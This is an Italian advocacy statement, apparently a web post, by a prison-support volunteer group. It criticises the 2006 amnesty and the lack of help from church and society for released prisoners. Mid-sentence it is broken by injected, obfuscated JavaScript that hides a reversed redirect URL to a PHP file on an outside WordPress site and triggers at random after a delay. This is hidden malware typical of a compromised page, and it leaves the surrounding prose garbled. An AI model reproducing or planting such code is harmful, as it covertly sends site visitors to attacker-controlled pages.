Superficialità e indifferenza

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“La nostra proposta è che ogni parrocchia e comunità religiosa accolga, ospiti e sostenga almeno un ex detenuto nel tempo necessario per ricostruirsi una vita che gli possa restituire ciò che il carcere gli ha tolto. In un momento cosi difficile le comunità cristiane non possono rimanere neutrali e ‘tiepide’ ma, stimolate dal loro Vescovo, devono essere capaci di schierarsi concretamente dalla parte e a fianco di chi è povero ed emarginato senza indugi e paure.”
Questi sono due pensieri fondamentali estrapolati da una lettera da noi inviata il giorno 13 di Agosto 2006 al Vescovo di Firenze, lettera che ancora oggi non ha visto alcuna risposta.
Alla luce dei fatti, a due mesi dal provvedimento di indulto, prendiamo atto che le proposte suggerite da noi come da altre associazioni, non hanno ricevuto né considerazione, né risposte concrete.
Non è più accettabile che la vita di molte persone venga ignorata e non ci siano attenzione e azioni concrete per lavorare insieme a loro al fine di intraprendere un percorso volto ad un inserimento sociale.
Sorgono numerosi dubbi sull’efficacia di un provvedimento che doveva avere lo scopo di creare nuove possibilità a coloro che ne avrebbero beneficiato, ma che non si è curato di predisporre un terreno adeguato, ovvero una rete di aiuto sia dal punto di vista dell’accoglienza che dell’inserimento lavorativo. La superficialità con cui è stata affrontata una questione così delicata, ma ancor di più l’indifferenza della società davanti ai gesti estremi compiuti da persone che, abb (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andonate a se stesse, non vedevano prospettive realistiche, una volta usciti dal carcere, è sconcertante.
Qual è stato il vero obiettivo di questo provvedimento? Svuotare le carceri ormai straripanti di persone o dare un’opportunità reale a coloro che hanno la necessità di ricostruirsi un futuro nuovo, una vita diversa con nuove prospettive?
Gruppo Carcere Associazione Il Muretto

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